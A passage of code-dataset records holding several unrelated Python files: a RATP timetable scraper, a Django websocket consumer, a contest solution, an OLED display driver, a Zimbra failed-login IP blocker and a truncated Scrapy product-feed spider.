anywhere\n return -1\n\nprint( qwertyFinder(\"had\") )","sub_path":"qwertyFinder-period4.py","file_name":"qwertyFinder-period4.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"278451167","text":"import sys\nimport time\n\nimport argparse\nimport re\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n\nstart = time.time()\n\nurl = 'https://www.ratp.fr/horaires'\n\noptions = Options()\noptions.add_argument('-headless')\nbrowser = webdriver.Firefox(executable_path='/home/alain/Téléchargements/geckodriver', firefox_options=options)\n\nwait = WebDriverWait(browser, 10)\n\n#argv = map(lambda s: s.lower(), sys.argv[1:])\nargv = list(map(lambda s: s.lower(), sys.argv[1:]))\n\nparser = argparse.ArgumentParser(description='Recherche les horaires de passage du moyen de transport passé en argument')\nparser.add_argument('line', type=str, nargs='?', default='a')\nparser.add_argument('station', type=str, nargs='*', default=['Nanterre-Ville'])\n\nline_given = False\nfor arg in argv:\n line_given = True\n if arg in 'ab':\n network = 'rer'\n elif arg.isdigit():\n if int(arg) < 20:\n network = 'metro'\n else:\n network = 'busratp'\n elif arg[0] == 'n':\n network = 'noctilien'\n elif arg[0] == 't':\n network = 'tram'\n else:\n line_given = False\n continue\n break\n\nif not line_given:\n argv = ['a'] + argv\n network = 'rer'\n\nargs = parser.parse_args(argv)\n\nline = args.line\nstation = ' '.join(args.station)\n\nprint('Recherche des horaires de passage du %s %s à %s...' % (network, line, station))\n\nbrowser.get(url)\n\n# choose right network\nnetworkButton = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@for=\"edit-networks-%s\"]' % network)))\nnetworkButton.click()\n\nsearchButton = wait.until(EC.presence_of_element_located((By.ID, 'edit-submit')))\n\n# choose right line\nif network in ['busratp', 'noctilien']:\n searchButton.click()\n lineForm = wait.until(EC.element_to_be_clickable((By.ID, 'name-line-%s' % network)))\n lineForm.send_keys(line)\n browser.implicitly_wait(10)\n action = ActionChains(browser)\n action.move_to_element(lineForm)\n action.move_by_offset(0, 40)\n action.click()\n action.perform()\nelse:\n lineButton = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@for=\"edit-line-%s-%s\"]' % (network, line))))\n lineButton.click()\n\nsearchButton.click()\n\n# choose right station\nstopForm = wait.until(EC.element_to_be_clickable((By.ID, 'edit-stop-point-%s' % network)))\nstopForm.send_keys(station)\n\nbrowser.implicitly_wait(1)\naction = ActionChains(browser)\naction.move_to_element(stopForm)\naction.move_by_offset(0, 40)\naction.click()\naction.perform()\n\nsearchButton.click()\n\nprint('Extraction des résultats...')\n\nwait.until(EC.presence_of_element_located((By.XPATH, '//*[@class=\"directions\"]')))\n\ndirections = browser.find_elements(By.XPATH, '//*[@class=\"directions\"]')\n\ntimetables = browser.find_elements(By.XPATH, '//*[@class=\"horaires-timetable\"]')\n\nend = time.time()\n\nprint('Fait. Temps écoulé : %.2f\\n' % (end-start))\n\nfor i in range(len(directions)):\n print(directions[i].get_attribute('innerHTML'))\n for line in timetables[i].get_attribute('innerHTML').split('\\n'):\n terminus = re.search('\"terminus-wrap\">(.+?)', line)\n if terminus is not None:\n terminus_name = terminus.group(1)\n continue\n hour = re.search('heure-wrap-long\">(.+?)', line)\n if hour is not None:\n print(' %s\\t%s' % (hour.group(1), terminus_name))\n else:\n hour = re.search('heure-wrap\">(.+?)', line)\n if hour is not None:\n print(' %s\\t%s' % (hour.group(1), terminus_name))\n print(' ')\n\nbrowser.quit()\n","sub_path":"ratp.py","file_name":"ratp.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"98804325","text":"from channels.generic.websocket import WebsocketConsumer\nimport json\nimport threading\n\nfrom base.services.subscribe import BitMexSubscribe\n\n\nclass ChatConsumer(WebsocketConsumer):\n\n def connect(self):\n print('connect')\n self.accept()\n\n def disconnect(self, close_code):\n print('disconnect')\n self.close()\n self.ws = None\n\n def receive(self, text_data):\n text_data_json = json.loads(text_data)\n print('receive')\n print(text_data_json)\n try:\n if text_data_json['action'] == 'subscribe':\n self.ws = BitMexSubscribe(text_data_json['account'])\n self.my_thread = threading.Thread(target=self.read)\n self.my_thread.start()\n elif text_data_json['action'] == 'unsubscribe':\n self.ws = None\n except:\n pass\n\n def read(self):\n\n while self.ws:\n mess = self.ws.get_abstract_mess()\n if mess:\n print(mess)\n self.send(mess)\n","sub_path":"base/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"634044644","text":"from collections import Counter\nfrom math import ceil\nfrom collections import deque\nfrom random import randint, choice\n\n\nclass UnionFind:\n def __init__(self, n) -> None:\n self.par = [-1]*(n + 1)\n self.size = [1]*(n + 1)\n\n def root(self, x):\n if self.par[x] == -1:\n return x\n else:\n self.par[x] = self.root(self.par[x])\n return self.par[x]\n\n def issame(self, x, y):\n return self.root(x) == self.root(y)\n\n def unite(self, x, y):\n x = self.root(x)\n y = self.root(y)\n\n # 既に同じグループなら何もしない\n if x == y:\n return False\n\n # unionbysize\n if self.size[x] < self.size[y]:\n x, y = y, x\n\n self.par[y] = x\n self.size[x] += self.size[y]\n\n return True\n\n def issize(self, x):\n return self.size[self.root(x)]\n\n\nN, M, D, K = map(int, input().split())\nEdge = []\nfor i in range(M):\n u, v, w = map(int, input().split())\n Edge.append((i, u, v, w))\nfor _ in range(N):\n x, y = map(int, input().split())\nEdge.sort(key=lambda x: x[3])\ndid = [False]*M\nans = [-1]*M\n\n\ndef check(A, P):\n pass\n if (D*A + (D*(D-1)*p)//2) != M:\n return False\n if A+(D-1)*P > K:\n return False\n return True\n\n\nwariate = []\nfor a in range(K+1):\n for p in range(K+1):\n if check(a, p):\n wariate.append((a, p))\nwariate.sort(key=lambda x: x[1])\ncan = []\nfor a, p in wariate:\n tmp = []\n for d in range(D):\n tmp.append(a+d*p)\n can.append(tmp)\narr = []\ncnt = M\nfor _ in range(D):\n arr.append(min(max(cnt, 0), K))\n cnt -= K\nif can:\n arr = can[-1][::-1]\n\nfor d in range(D):\n # 頂点集合作成\n UF = UnionFind(N)\n # 既に工事済みの辺はくっつける\n for i, u, v, w in Edge:\n if did[i]:\n UF.unite(u, v)\n kouji = []\n # 最小全域木の要領で工事しても良い辺を見つける\n for i, u, v, w in Edge:\n if UF.issame(u, v):\n kouji.append((i, u, v, w))\n continue\n UF.unite(u, v)\n # 重みが大きい順に工事したいのでソートする\n kouji.sort(key=lambda x: x[3])\n # 工事数\n cnt = 0\n flg = True\n q = deque(kouji)\n while cnt < arr[d]:\n if flg:\n if q:\n i, u, v, w = q.popleft()\n # 既に工事済みなら何もしない\n if did[i]:\n continue\n # 工事したことないなら工事する。\n ans[i] = d+1\n did[i] = True\n else:\n if q:\n i, u, v, w = q.pop()\n # 既に工事済みなら何もしない\n if did[i]:\n continue\n # 工事したことないなら工事する。\n ans[i] = d+1\n did[i] = True\n cnt += 1\n flg = not flg\nfor i in range(M):\n if ans[i] == -1:\n ans[i] = D\nprint('--')\nprint(*ans)\nprint('--')\nprint(Counter(ans))\nprint(arr)\nprint(sum(arr))\n","sub_path":"AHC/AHC017/a2.py","file_name":"a2.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"138949467","text":"#128x64 OLED display driver.\n#128x32 support pulled from Adafruit SSD1306 libraries.\n\n#NOTE: This current code will set the pixel at 0,0 but the scrolling will not scroll it. Don't know if it's software causing it or not.\n\nfrom smbus import SMBus\n\n#Buffer layout in bits. 128 columns by 64 rows.\n#Each byte represents 8 pixels in a row.\n# Column\n# R 0 8 10 ... 3F8\n# O 1 9 11 ... 3F9\n# W 2 A 12 ... 3FA\n# 3 B 13 ... 3FB\n# 4 C 14 ... 3FC\n# 5 D 15 ... 3FD\n# 6 E 16 ... 3FE\n# 7 F 17 ... 3FF\n# 400 408\n# 401 409\n# 402 40A\n# 403 40B\n# 404 40C\n# 405 40D\n# 406 40E\n# 407 40F\n\nclass oled(object):\n \"\"\"diyMall OLED 9.6 128x64 pixel display driver.\n Now also supports 128x32\"\"\"\n\n ADDRESS = 0x3C # 011110+SA0+RW - 0x3C or 0x3D\n STOP = 0\n LEFT = 1\n RIGHT = 2\n DIAGLEFT = 3\n DIAGRIGHT = 4\n\n _CMDMODE = 0x00\n _DATAMODE = 0x40\n\n _SETCONTRAST = 0x81\n _DISPLAYALLON_RESUME = 0xA4\n _DISPLAYALLON = 0xA5\n _NORMALDISPLAY = 0xA6\n _INVERTDISPLAY = 0xA7\n _DISPLAYOFF = 0xAE\n _DISPLAYON = 0xAF\n\n _SETDISPLAYOFFSET = 0xD3\n _SETCOMPINS = 0xDA\n\n _SETVCOMDETECT = 0xDB\n\n _SETDISPLAYCLOCKDIV = 0xD5\n _SETPRECHARGE = 0xD9\n\n _SETMULTIPLEX = 0xA8\n\n _SETLOWCOLUMN = 0x00\n _SETHIGHCOLUMN = 0x10\n\n _SETSTARTLINE = 0x40\n\n _MEMORYMODE = 0x20\n _COLUMNADDR = 0x21\n _PAGEADDR = 0x22\n\n _COMSCANINC = 0xC0\n _COMSCANDEC = 0xC8\n\n _SEGREMAP = 0xA0\n\n _CHARGEPUMP = 0x8D\n\n _EXTRNALVCC = 0x1\n _SWITCHAPVCC = 0x2\n\n _ACTIVATE_SCROLL = 0x2F\n _DEACTIVATE_SCROLL = 0x2E\n _SET_VERTICAL_SCROLL_AREA = 0xA3\n _RIGHT_HORIZONTAL_SCROLL = 0x26\n _LEFT_HORIZONTAL_SCROLL = 0x27\n _VERTICAL_AND_RIGHT_HORIZONTAL_SCROLL = 0x29\n _VERTICAL_AND_LEFT_HORIZONTAL_SCROLL = 0x2A\n\n def __init__( self, aLoc = 1, aHeight = 64 ):\n \"\"\"aLoc I2C pin location is either 1 for 'X' or 2 for 'Y'.\n aHeight should be either 64 or 32.\"\"\"\n self._size = (128, aHeight)\n self._rotation = 0\n self._inverted = False\n self._on = False\n self._i2c = SMBus(aLoc)\n self._pages = self._size[1] // 8\n self._bytes = self._size[0] * self._pages\n self._buffer = [0] * self._bytes\n self._dim = 0x8F #Dim level 0-255\n\n #Send the initialization commands.\n self._command(oled._DISPLAYOFF,\n oled._SETDISPLAYCLOCKDIV, 0x80, #suggested ratio.\n oled._SETMULTIPLEX, aHeight - 1,\n oled._SETDISPLAYOFFSET, 0x0,\n oled._SETSTARTLINE, #| 0x0\n oled._CHARGEPUMP, 0x14, #No external power.\n oled._MEMORYMODE, 0x00, #Act like ks0108\n oled._SEGREMAP + 0x01,\n oled._COMSCANDEC,\n oled._SETCOMPINS, 0x12 if aHeight == 64 else 0x02,\n oled._SETCONTRAST, self._dim,\n oled._SETPRECHARGE, 0xF1,\n oled._SETVCOMDETECT, 0x40,\n oled._DISPLAYALLON_RESUME,\n oled._NORMALDISPLAY, 0XB0, 0x10, 0x01) #Set original position to 0,0.\n\n self.on = True\n\n self.display()\n\n @property\n def size( self ): return self._size\n\n @property\n def rotation( self ): return self._rotation\n\n @rotation.setter\n def rotation( self, aValue ):\n self._rotation = aValue & 3\n\n @property\n def on( self ): return self._on\n\n @on.setter\n def on( self, aTF ):\n '''Turn display on or off.'''\n if aTF != self._on:\n self._on = aTF\n self._command(oled._DISPLAYON if aTF else oled._DISPLAYOFF)\n\n @property\n def invert( self ): return self._inverted\n\n @invert.setter\n def invert( self, aTF ):\n if aTF != self._inverted:\n self._inverted = aTF\n self._command(oled._INVERTDISPLAY if aTF else oled._NORMALDISPLAY)\n\n @property\n def dim( self ):\n return self._dim\n\n @dim.setter\n def dim( self, aValue ):\n self._dim = aValue\n self._command(oled._SETCONTRAST, self._dim)\n\n def _data( self, aValue ):\n '''\n Sends a data byte or sequence of data bytes through to the\n device - maximum allowed in one transaction is 32 bytes, so if\n data is larger than this it is sent in chunks.\n In our library, only data operation used is 128x64 long, ie whole canvas.\n '''\n for i in range(0, len(aValue), 32):\n self._i2c.write_i2c_block_data(oled.ADDRESS, oled._DATAMODE, aValue[i:i+32])\n\n def _command( self, *aValue ):\n assert(len(aValue) <= 32)\n self._i2c.write_i2c_block_data(oled.ADDRESS, oled._CMDMODE, list(aValue))\n\n def fill( self, aValue ):\n for x in range(0, self._bytes):\n self._buffer[x] = aValue;\n\n def clear( self ):\n self.fill(0)\n\n def pixel( self, aPos, aOn ):\n '''Draw a pixel at the given position'''\n x, y = aPos\n w, h = self.size\n if 0 <= x < w and 0 <= y < h:\n if self._rotation == 1:\n aPos = (w - y - 1, x)\n elif self._rotation == 2:\n aPos = (w - x - 1, h - y - 1)\n elif self._rotation == 3:\n aPos = (y, h - x - 1)\n\n bit = 1 << (aPos[1] % 8)\n index = (aPos[0] + (aPos[1] // 8) * w)\n\n if aOn:\n self._buffer[index] |= bit\n else:\n self._buffer[index] &= ~bit\n\n def line( self, aStart, aEnd, aOn ):\n '''Draws a line from aStart to aEnd in the given color. Vertical or horizontal\n lines are forwarded to vline and hline.'''\n px, py = aStart\n ex, ey = aEnd\n dx = int(ex - px)\n dy = int(ey - py)\n inx = 1 if dx > 0 else -1\n iny = 1 if dy > 0 else -1\n\n dx = abs(dx)\n dy = abs(dy)\n if (dx >= dy):\n dy <<= 1\n e = dy - dx\n dx <<= 1\n while (px != ex):\n self.pixel((px, py), aOn)\n if (e >= 0):\n py += iny\n e -= dx\n e += dy\n px += inx\n else:\n dx <<= 1\n e = dx - dy\n dy <<= 1\n while (py != ey):\n self.pixel((px, py), aOn)\n if (e >= 0):\n px += inx\n e -= dy\n e += dx\n py += iny\n\n def fillrect( self, aStart, aSize, aOn ):\n '''Draw a filled rectangle. aStart is the smallest coordinate corner\n and aSize is a tuple indicating width, height.'''\n x, y = aStart\n w, h = aSize\n ex = x + w\n# print(\"{}, {}, {}, {}\".format(type(x), type(y), type(w), type(h)))\n for i in range(y, y + h):\n self.line((x, i), (ex, i), aOn)\n\n def text( self, aPos, aString, aColor, aFont, aSize = 1 ):\n '''Draw a text at the given position. If the string reaches the end of the\n display it is wrapped to aPos[0] on the next line. aSize may be an integer\n which will size the font uniformly on w,h or a or any type that may be\n indexed with [0] or [1].'''\n\n if aFont == None:\n return\n\n #Make a size either from single value or 2 elements.\n if (type(aSize) == int) or (type(aSize) == float):\n wh = (aSize, aSize)\n else:\n wh = aSize\n\n px, py = aPos\n width = wh[0] * aFont[\"Width\"] + 1\n for c in aString:\n self.char((px, py), c, aColor, aFont, wh)\n px += width\n #We check > rather than >= to let the right (blank) edge of the\n # character print off the right of the screen.\n if px + width > self._size[0]:\n py += aFont[\"Height\"] * wh[1] + 1\n px = aPos[0]\n\n def char( self, aPos, aChar, aOn, aFont, aSizes ):\n '''Draw a character at the given position using the given font and color.\n aSizes is a tuple with x, y as integer scales indicating the\n # of pixels to draw for each pixel in the character.'''\n\n if aFont == None:\n return\n\n #If single scale value given turn it into 2 dimensions.\n if type(aSizes) == int:\n aSizes = (aSizes, aSizes)\n\n startchar = aFont['Start']\n endchar = aFont['End']\n\n ci = ord(aChar)\n if (startchar <= ci <= endchar):\n fontw = aFont['Width']\n fonth = aFont['Height']\n ci = (ci - startchar) * fontw\n\n charA = aFont[\"Data\"][ci:ci + fontw]\n px = aPos[0]\n if aSizes[0] <= 1 and aSizes[1] <= 1:\n for c in charA:\n py = aPos[1]\n for r in range(fonth):\n if c & 0x01:\n self.pixel((px, py), aOn)\n py += 1\n c >>= 1\n px += 1\n else:\n for c in charA:\n py = aPos[1]\n for r in range(fonth):\n if c & 0x01:\n self.fillrect((px, py), aSizes, aOn)\n py += aSizes[1]\n c >>= 1\n px += aSizes[0]\n\n def _scrollLR( self, start, stop, aDir ):\n self._command(aDir, 0x00, start, 0x00, stop, 0x00, 0xFF, oled._ACTIVATE_SCROLL)\n\n def _scrollDiag( self, start, stop, aDir ):\n self._command(oled._SET_VERTICAL_SCROLL_AREA, 0x00, self.size[1], aDir, 0x00,\n start, 0x00, stop, 0x01, oled._ACTIVATE_SCROLL)\n\n def scroll( self, adir, start=0, stop=7 ):\n '''Scroll in given direction. Display is split in 8 vertical segments.'''\n if adir == oled.STOP:\n self._command(oled._DEACTIVATE_SCROLL)\n elif adir == oled.LEFT:\n self._scrollLR(start, stop, oled._LEFT_HORIZONTAL_SCROLL)\n elif adir == oled.RIGHT:\n self._scrollLR(start, stop, oled._RIGHT_HORIZONTAL_SCROLL)\n elif adir == oled.DIAGLEFT:\n self._scrollDiag(start, stop, oled._VERTICAL_AND_LEFT_HORIZONTAL_SCROLL)\n elif adir == oled.DIAGRIGHT:\n self._scrollDiag(start, stop, oled._VERTICAL_AND_RIGHT_HORIZONTAL_SCROLL)\n\n def display( self ):\n self._command(oled._COLUMNADDR, 0, self.size[0] - 1, oled._PAGEADDR, 0, self._pages - 1)\n# self._command(oled._SETLOWCOLUMN, oled._SETHIGHCOLUMN, oled._SETSTARTLINE)\n self._data(self._buffer)\n\n\n","sub_path":"projects/clock/oled.py","file_name":"oled.py","file_ext":"py","file_size_in_byte":9286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"100339303","text":"#!/usr/bin/python3 \n\nfrom collections import Counter\nfrom os import popen\nimport argparse\nimport re\n\n\nclass color:\n PURPLE = '\\033[1;35;48m'\n CYAN = '\\033[1;36;48m'\n BOLD = '\\033[1;37;48m'\n BLUE = '\\033[1;34;48m'\n GREEN = '\\033[1;32;48m'\n YELLOW = '\\033[1;33;48m'\n RED = '\\033[1;31;48m'\n BLACK = '\\033[1;30;48m'\n UNDERLINE = '\\033[4;37;48m'\n END = '\\033[1;37;0m'\n\n\nips = []\nnetworks = '(10|172)\\.\\d+\\.\\d+\\.\\d+'\n\n\ndef findMail(file):\n read = open(file, 'r', encoding='utf-8', errors='ignore')\n content = read.readlines()\n\n for i in content:\n if 'SASL LOGIN authentication failed' in i:\n matchNetworks = re.search(networks, i)\n if matchNetworks == None:\n ip = re.findall(r'\\d+\\.\\d+\\.\\d+\\.\\d+', i)\n ips.append(ip[0])\n\n\ndef blockIP(ip, debug):\n command = \"iptables -nL\"\n status = popen(command).read()\n\n if ip in status:\n if debug == True:\n print(\"{}{} ip blocked in another opportunity{}\".format(color.YELLOW, ip, color.END))\n\n else:\n command = \"iptables -A INPUT -p tcp -s {} -j DROP\".format(ip)\n status = popen(command).read()\n print(\"{}Block IP - {}{}\".format(color.RED, ip, color.END))\n\n\nparser = argparse.ArgumentParser(description='Block Zimbra Authentication')\nparser.add_argument('--file', type=str, help='File zimbra.log', default='/var/log/zimbra.log')\nparser.add_argument('--authentication', type=int, help='Number of authentication failed', default=10)\nparser.add_argument('--debug', type=bool, help='Active DEBUG\\tTrue or False', default=False)\noptions = parser.parse_args()\n\nfindMail(options.file)\ncountIPS = Counter(ips)\nif countIPS:\n for ip in countIPS:\n if options.debug == True:\n print('IP: {}\\tRequests --> {}'.format(ip, countIPS.get(ip)))\n if countIPS.get(ip) >= options.authentication:\n blockIP(ip, options.debug)\n","sub_path":"zimbraBlockIP.py","file_name":"zimbraBlockIP.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"500941794","text":"import scrapy\r\nfrom scrapy.selector import HtmlXPathSelector,lxmlsel # parsing tools\r\nfrom scrapy.spiders import Rule,CrawlSpider # For setting the Rule and crawl. Rule and CrawlSpider are matched with rule setting anc crawl respectively in order\r\nfrom balaan.items import BTQitem # For saveing the files # for sending request by http # For selection\r\nfrom scrapy.linkextractors import LinkExtractor # To extract the link\r\nfrom urllib.request import urljoin,urlparse,parse_http_list\r\nfrom urllib.request import urlopen\r\nfrom scrapy.http import Request,Response,HtmlResponse\r\nimport re\r\nimport logging\r\nimport csv\r\nimport codecs\r\nfrom openpyxl import workbook,load_workbook\r\nimport zipfile\r\nimport json\r\nimport datetime\r\nfrom scrapy.selector import Selector\r\n\r\nlogging.getLogger()\r\nlogging.basicConfig(filename='error.log',level=logging.DEBUG)\r\nlogging.debug('This message should go to the log file')\r\nlogging.info('So should this')\r\nlogging.warning('And this, too')\r\n\r\ndef categorypackage(node):\r\n dept=str.upper(node.xpath('td[5]//text()').extract_first())\r\n name=str.replace(str.replace(str.upper(node.xpath('td[8]//text()').extract_first()),'MEN','MAN'),'WOMEN','WOMAN')\r\n size_type=str.upper(node.xpath('td[11]//text()').extract_first())\r\n generation=str.upper(node.xpath('td[2]//text()').extract_first())\r\n\r\n # Unisex category\r\n if re.findall(\"UNISEX\", name) == ['UNISEX'] :\r\n if re.findall(\"CLOTHING\", json.dumps(dept))==['CLOTHING']:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"2\"} #ADCL\r\n return shopurlpackage\r\n elif re.findall(\"SHOES\", json.dumps(dept))==['SHOES']:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"3\"} #ADCL\r\n return shopurlpackage\r\n elif re.findall(\"ACCESSORIES\", dept) == [\"ACCESSORIES\"] or re.findall(\"LIFESTYLE\", dept) == ['LIFESTYLE'] or re.findall(\"JEWELRY\", dept) == ['JEWELRY']:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"5\"} #ADCL\r\n return shopurlpackage\r\n\r\n # Woman Category\r\n elif re.findall(\"WOMAN\",name)==[\"WOMAN\"]:\r\n if re.findall(\"CLOTHING\", dept) ==[\"CLOTHING\"]:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"7\"} #ADCL\r\n return shopurlpackage\r\n elif re.findall(\"SHOES\",dept) ==[\"SHOES\"]:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"8\"} #ADCL\r\n return shopurlpackage\r\n elif re.findall(\"ACCESSORIES\",dept) ==[\"ACCESSORIES\"] or re.findall(\"LIFESTYLE\",dept)==['LIFESTYLE'] or re.findall(\"JEWELRY\",dept)==['JEWELRY']:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"10\"} #ADCL\r\n return shopurlpackage\r\n\r\n elif re.findall(\"KIDS\", generation) == ['KIDS']:\r\n shopurlpackage = {\"generation\":\"kid\",\r\n \"shopurl_id\":\"\"}\r\n return shopurlpackage\r\n\r\n elif re.findall(\"MAN\",name)==[\"MAN\"] or re.findall(\"MAN\",name)==['MAN','MAN']:\r\n if re.findall(\"CLOTHING\",dept)==[\"CLOTHING\"]:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"12\"} # ADCL\r\n return shopurlpackage\r\n elif re.findall(\"SHOES\",dept) ==[\"SHOES\"]:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"13\"} # ADCL\r\n return shopurlpackage\r\n elif re.findall(\"ACCESSORIES\",dept) ==[\"ACCESSORIES\"] or re.findall(\"LIFESTYLE\",dept)==['LIFESTYLE'] or re.findall(\"JEWELRY\",dept)==['JEWELRY']:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"15\"} # ADCL\r\n return shopurlpackage\r\n\r\n else:\r\n if re.findall(\"DONNA\", size_type) == ['DONNA'] or re.findall(\"WOMAN\",size_type) == ['WOMAN']:\r\n if re.findall(\"CLOTHING\", dept) ==[\"CLOTHING\"]:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"7\"} #ADCL\r\n return shopurlpackage\r\n elif re.findall(\"SHOES\",dept) ==[\"SHOES\"]:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"8\"} #ADCL\r\n return shopurlpackage\r\n elif re.findall(\"ACCESSORIES\",dept) ==[\"ACCESSORIES\"] or re.findall(\"LIFESTYLE\",dept)==['LIFESTYLE'] or re.findall(\"JEWELRY\",dept)==['JEWELRY']:\r\n shopurlpackage={\"generation\":\"adult\",\r\n \"shopurl_id\":\"10\"} #ADCL\r\n return shopurlpackage\r\n\r\n elif re.findall(\"UOMO\",size_type)==[\"UOMO\"] or re.findall(\"MAN\",size_type) == ['MAN']:\r\n if re.findall(\"CLOTHING\",dept)==[\"CLOTHING\"]:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"12\"} # ADCL\r\n return shopurlpackage\r\n elif re.findall(\"SHOES\",dept) ==[\"SHOES\"]:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"13\"} # ADCL\r\n return shopurlpackage\r\n elif re.findall(\"ACCESSORIES\",dept) ==[\"ACCESSORIES\"] or re.findall(\"LIFESTYLE\",dept)==['LIFESTYLE'] or re.findall(\"JEWELRY\",dept)==['JEWELRY']:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"15\"} # ADCL\r\n return shopurlpackage\r\n else:\r\n if re.findall(\"CLOTHING\", json.dumps(dept)) == ['CLOTHING']:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"2\"} # ADCL\r\n return shopurlpackage\r\n elif re.findall(\"SHOES\", json.dumps(dept)) == ['SHOES']:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"3\"} # ADCL\r\n return shopurlpackage\r\n elif re.findall(\"ACCESSORIES\", dept) == [\"ACCESSORIES\"] or re.findall(\"LIFESTYLE\", dept) == ['LIFESTYLE'] or re.findall(\"JEWELRY\", dept) == ['JEWELRY']:\r\n shopurlpackage = {\"generation\": \"adult\",\r\n \"shopurl_id\": \"5\"} # ADCL\r\n return shopurlpackage\r\n\r\n\r\n\r\n\r\ndef optnm(response):\r\n optionpackage={'Accessori baby' : '',\r\n 'Accessori Standard': '',\r\n 'Americane Donna': '',\r\n 'Americane donna 0 / 20': '',\r\n 'Americane kids xs s m': '',\r\n 'Americane uomo xs s m': '',\r\n 'Anelli eu': '',\r\n 'Anello 0 - 15': '',\r\n 'Calze donna': '',\r\n 'Camicie estesa 37 / 50 UOMO': '',\r\n 'CAMICIE GUCCI': '',\r\n 'Camicie Uomo': '',\r\n 'Cappello Kids': '',\r\n 'Cappello S - M - L..': '',\r\n 'Cappello uomo(cm)': '',\r\n 'Cinture donna': '',\r\n 'Cinture uomo': '',\r\n 'Clothin kids age': '',\r\n 'Clothing baby dual month': '',\r\n 'Clothing bambino anni': '',\r\n 'Donna IT': '',\r\n 'Francesi Donna': '',\r\n 'Gioielli XXS - L': '',\r\n 'Inglesi': '',\r\n 'INGLESI DONNA': '',\r\n 'Jeans Donna': '',\r\n 'Jeans Uomo': '',\r\n 'Mid standard woman': '',\r\n 'Papillon Kids': '',\r\n 'Scarpe donna': '',\r\n 'Scarpe donna francesi': '',\r\n 'Scarpe inglesi donna': '',\r\n 'Scarpe inglesi uomo': '',\r\n 'Scarpe kids': '',\r\n 'Scarpe Unisex': '',\r\n 'Scarpe uomo': '',\r\n 'Scarpe USA donna': '',\r\n 'Scarpe USA uomo': '',\r\n 'Standard numeric man(moncler)': '',\r\n 'Standard numeric woman': '',\r\n 'Unica': '',\r\n 'Unica Kids': '',\r\n 'Uomo ITA': ''}\r\n\r\n\r\n\r\nclass OSRL_Spider(CrawlSpider):\r\n name = \"OSRL\" # spider name\r\n allowed_domains=[\"b2b.officinastore.com\"] # allowed domain\r\n\r\n\r\n def start_requests(self):\r\n yield Request('http://b2b.officinastore.com/Scambio/Atelier/Balaan/balaan.xls',callback=self.parseitem)\r\n\r\n\r\n def parseitem(self,response):\r\n\r\n sel = Selector(response)\r\n nodes = sel.xpath(\"//body//table//tr\")\r\n item=BTQitem()\r\n\r\n\r\n\r\n for index, node in enumerate(nodes):\r\n\r\n if index == 0:\r\n continue\r\n\r\n item['brand'] = str.upper(node.xpath('td[2]//text()').extract_first()).strip() if node.xpath('td[2]//text()').extract_first() is not None else \"No brand\"\r\n item['price'] = str.replace(node.xpath('td[16]//text()').extract_first(),',', '.').strip() if node.xpath('td[16]//text()').extract_first() is not None else \"No Sale or good_price\" # Extract the price for target items using xpath\r\n item['gd_name'] = node.xpath('td[8]//text()').extract_first().strip() if node.xpath('td[8]//text()').extract_first() is not None else \"No gd_name\"\r\n item['SKU'] = node.xpath('td[3]//text()').extract_first().strip() if node.xpath('td[3]//text()').extract_first() is not None else \"No SKU\"\r\n\r\n\r\n item['color'] = node.xpath('td[10]//text()').extract_first().strip() if node.xpath('td[10]//text()').extract_first() is not None else \"One color\"\r\n\r\n item['img'] = \"No img\" if str(node.xpath('td[contains(text(),\"JPG\")]//text()').extract()) == '[]' else str.replace(str.replace(str(node.xpath('td[contains(text(),\"JPG\")]//text()').extract()), \" \",'%20'), ',%20', ',')\r\n\r\n\r\n item['link'] = 'b2b.officinastore.com/Scambio/Atelier/Balaan/balaan.xls'\r\n season = node.xpath('td[1]//text()').extract_first() if node.xpath('td[1]//text()').extract_first() is not None else \" No Season\"\r\n\r\n material = node.xpath('td[6]//text()').extract_first() if node.xpath('td[6]//text()').extract_first() is not None else \"No Material\"\r\n description = str.replace(node.xpath('td[9]//text()').extract_first(), '\\n','') if node.xpath('td[9]//text()').extract_first() is not None else \"No Description\"\r\n item['desc'] = \"\".join(\"Season : \" + season + \" | Material : \" + material + \" | Description : \" + description)\r\n\r\n\r\n shopurlpackage = categorypackage(node)\r\n\r\n if(shopurlpackage is None):\r\n continue\r\n\r\n item['generation'] = shopurlpackage['generation']\r\n item['shop_id'] = 